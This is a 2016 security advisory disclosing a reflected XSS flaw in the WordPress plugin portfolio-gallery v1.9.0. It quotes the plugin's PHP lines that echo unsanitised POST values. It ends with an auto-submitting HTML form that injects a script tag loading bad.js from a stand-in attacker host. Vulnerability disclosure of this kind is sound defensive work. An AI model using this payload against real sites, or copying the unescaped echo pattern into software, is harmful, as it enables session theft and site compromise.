Advisory #: 1026
Title: Reflected XSS in wordpress plugin portfolio-gallery v1.9.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/portfolio-gallery
Downloads: 399834
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: portfolio-gallery
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./portfolio-gallery/portfolio_function/html_portfolio_func.php: 86: <input type="hidden" id="page_number" name="page_number" value="<?php if (isset($_POST['page_number'])){ echo $_POST['page_number'];} else { echo '1';} ?>" /> 88: <input type="hidden" id="serch_or_not" name="serch_or_not" value="<?php if(isset($_POST["serch_or_not"])){ echo $_POST["serch_or_not"];} ?>" /> The variable serch_or_not appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./portfolio-gallery/portfolio_function/html_portfolio_func.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/portfolio-gallery/portfolio_function/html_portfolio_func.php method=post> <input type=hidden name=serch_or_not value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>